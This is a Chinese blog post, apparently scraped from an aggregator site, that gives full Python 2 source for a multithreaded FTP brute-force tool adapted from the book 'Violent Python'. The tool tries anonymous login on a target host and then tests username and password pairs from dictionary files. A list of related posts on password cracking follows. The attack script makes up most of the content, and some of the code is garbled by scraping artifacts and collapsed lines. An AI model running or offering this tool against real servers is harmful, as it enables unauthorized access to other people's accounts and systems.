1. 程式人生 > >Python實現FTP暴力破解

Python實現FTP暴力破解

最近在看《Violent Python》,記錄一些程式碼實現。

0x00 FTP暴力破解之PTYHON實現

需使用ftplib庫,書中採用單執行緒,這裡我使用了多執行緒完成,匿名登入的問題暫時沒有找機子試,如有問題可以探討~

0x01 程式碼實現

import optparse
import ftplib
import threading
import socket
#screen_lock = threading.Semaphore(value=1)
def anonyLogin(host):
    try:
        ftp = ftplib.FTP(host)
        ftp.connect(host, 21, timeout = 10)
        ftp.login('anonymous', '
[email protected]
') ftp.retrlines('LIST') ftp.quit() print '\n[*]' + str(host) + ' FTP Anonymous Logon Succeeded.' except Exception, e: print '\n[-] ' + str(host) + ' FTP Anonymous Logon Failed.' def ftpLogin(host, userName, password): try: #screen_lock.acquire() print '[-] Trying: ' + userName + '/' +password #screen_lock.release() ftp = ftplib.FTP(host) ftp.connect(host, 21, timeout = 10) ftp.login(userName, password) ftp.retrlines('LIST') ftp.quit() print 'Succeeded' except ftplib.all_errors: pass def bruteForce(host, usersFile, pwdFile): userfn = open(usersFile, 'r') pwdfn = open(pwdFile, 'r') for user in userfn.readlines(): # Reset the pwdfn filepointer(0) pwdfn.seek(0) for passwd in pwdfn.readlines(): userName = user.strip('\n') passWord = passwd.strip('\n') t = threading.Thread(target=ftpLogin, args=(host, userName, passWord)) child = t.start() def main(): parser = optparse.OptionParser('usage%prog -H <target host> -u <users dictionary> -p <password dictionary>') parser.add_option('-H', dest='tgtHost', type='string', help='specify the host') parser.add_option('-u', dest='userDic', type='string', help='specify the dictionary for user') parser.add_option('-p', dest='pwdDic', type='string', help='specify the dictionary for password') (options, args) = parser.parse_args() host = options.tgtHost userDic = options.userDic pwdDic = options.pwdDic try: tgthost = socket.gethostbyname(host) except: print "[-] Cannot Resolve '%s': Unknown host" %host exit(0) anonyLogin(tgthost) bruteForce(tgthost, userDic, pwdDic) if __name__ == '__main__': main()
0x02 效果



相關推薦

Python實現FTP暴力破解

最近在看《Violent Python》,記錄一些程式碼實現。 0x00 FTP暴力破解之PTYHON實現 需使用ftplib庫,書中採用單執行緒,這裡我使用了多執行緒完成,匿名登入的問題暫時沒有找機子試,如有問題可以探討~ 0x01 程式碼實現 import optpa

python實現ftp(客戶端)

index 登錄 容器 socket per add gbk 默認值 interact 該文檔為用python3實現ftp上傳下載等功能。 1 import optparse 2 import socket 3 import json,os 4 import sh

python實現ftp服務器(使用wxpython實現GUI界面)

python wxpython pyftpdlib FTP服務器 pyinstaller 開發背景: 有時需要在局域網傳輸文件,總是要用U盤傳輸,要是多個人都需要同樣的文件,U盤就有點麻煩了,Windows上的文件共享配置步驟很少,但是經常因為各種原因失敗,又要檢查來檢查去的。於是考慮到通

學習筆記(六):使用隨機森林演算法檢測FTP暴力破解

1.資料蒐集:         載入ADFA-LD中正常資料         定義遍歷目錄下檔案         從攻擊資料中篩選出和FTP暴力破解有關的資料 &n

破解密碼很難?利用Python自動編寫暴力破解字典,黑客必學技能!

  Python是一款非常強大的語言。用於測試時它非常有效,因此Python越來越受到歡迎。 因此,在此次教程中我將聊一聊如何在Python中生成字典,並將它用於任何你想要的用途。   前提要求 如果你用virtualenv搭建Python開發環境

python實戰:暴力破解wifi密碼

工具: python3.0,pycharm python庫:pywifi,time 思路: 匯入模組 抓取網絡卡介面 斷開所有wifi 讀取密碼本 測試連線 設定睡眠時間 流程: 1.匯入模組 import pywifi from pywifi import c

如何用Python寫一個暴力破解加密壓縮包的程式

有些時候加密rar軟體經常會忘了密碼,但記得密碼的大概,於是乎用Python寫個程式來暴力破解吧: 首先要搞清楚如何用命令列來解壓縮,經研究,rar軟體解壓是用的unrar.exe,將這個程式拷貝到C:\windows,然後進入加密軟體包所在的資料夾,用命令列執行 下面的命

破解密碼很難? 利用Python自動編寫暴力破解字典, 黑客必學技能!

Python是一款非常強大的語言。用於測試時它非常有效,因此Python越來越受到歡迎。 因此,在此次教程中我將聊一聊如何在Python中生成字典,並將它用於任何你想要的用途。 前提要求 如果你用virtualenv搭建Python開發環境,請確保已經安裝了it

python實現FTP弱口令掃描器與簡單端口掃描器

map python實現 nbsp thread txt 獲取 繼續 cheng 端口開放 python實現FTP弱口令掃描器與簡單端口掃描器 目錄 FTP弱口令掃描器 簡單端口掃描器 參考: https://blog.csdn.net/rebelqsp/a

python實現FTP弱口令掃描器與簡單埠掃描器

python實現FTP弱口令掃描器與簡單埠掃描器   目錄 FTP弱口令掃描器 簡單埠掃描器   參考: https://blog.csdn.net/rebelqsp/article/details/22109925 https://www.aliyun.com

python實現FTP伺服器

FTP服務的主動模式和被動模式在開始之前,先聊一下FTP的主動模式和被動模式,兩者的區別 , 用兩張圖來表示可能會更加清晰一些:主動模式:主動模式工作過程:1. 客戶端以隨機非特權埠N,就是大於1024的埠,對server端21埠發起連線2. 客戶端開始監聽 N+1埠;3.

python 實現ftp檔案下載

python 版本 2.7 程式碼: #-*-coding:utf-8-*- import os import time from ftplib import FTP #伺服器地址 FTP_

Python 實現FTP客戶端:ftplib模組的使用

1. FTP常用方法總結如下: from ftplib import FTP 匯入包 ftp = FTP() 例項化ftp物件 ftp.set_debuglevel(2) 開啟除錯級別2,顯示詳細資訊 ftp.set_debuglevel(0)

Python實現FTP上傳檔案或資料夾(遞迴)

__author__ = 'dacxu' __mail__ = 'xudacheng06.com' __date__ = '2013-10-29' __version = 1.0 import sys import os import json from ftplib i

最詳細Python批量字典暴力破解zip密碼

## 工具破解 前兩天在網上下來了一波專案案例,結果全是加密的壓縮包,於是去網上找了一個壓縮包破解的工具 苦於工具破解太慢,一個壓縮包要好久,解壓了三個之後就放棄了,準備另尋他法 ## 密碼字典 巧的是破解的三個都是4位數字密碼,這讓我想到了依靠字典破解 說幹就幹,伸手就來 ![4位數字密碼字典](https

Python指令碼暴力破解FTP口令

目錄 判斷FTP伺服器是否允許匿名登入 暴力破解FTP口令 列出FTP目錄內的網頁檔案 綜合 環境:Windows python2.7.15 ftplib模組是python下用於ftp服務的模組 。 判斷FTP伺服器是否允許匿名登入 以下程

PythonFTP伺服器暴力破解(注入木馬)

密碼字典下載:[email protected]:qq_21792169/dictionary.gitftp.py#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib import optparse impo

SSH暴力破解Python-pxssh實現

最近在看《Violent Python》,記錄一些程式碼實現。 0x00 SSH暴力破解之Python-pexssh實現 Pxssh是一個包含了pexpect庫的專用指令碼,它能用預先寫好的login()、logout()、prompt()等函式直接與SSH進行互動。 簡單

Python】HackBack(獲取暴力破解服務器密碼的IP來源)

split time get main ports import var api pre 1、前言 又在0x00sec上翻到好東東。 https://0x00sec.org/t/python-hackback-updated/882 帖子裏的腳本會得到那些暴力服務器密碼失敗

暴力破解MD5的實現(MapReduce編程)

pen brush apt ktr 思想 必須 upd 大文件 file 本文主要介紹MapReduce編程模型的原理和基於Hadoop的MD5暴力破解思路。 一、MapReduce的基本原理 Hadoop作為一個分布式架構的實現方案,它的核心思想包括以下幾個方面:HDFS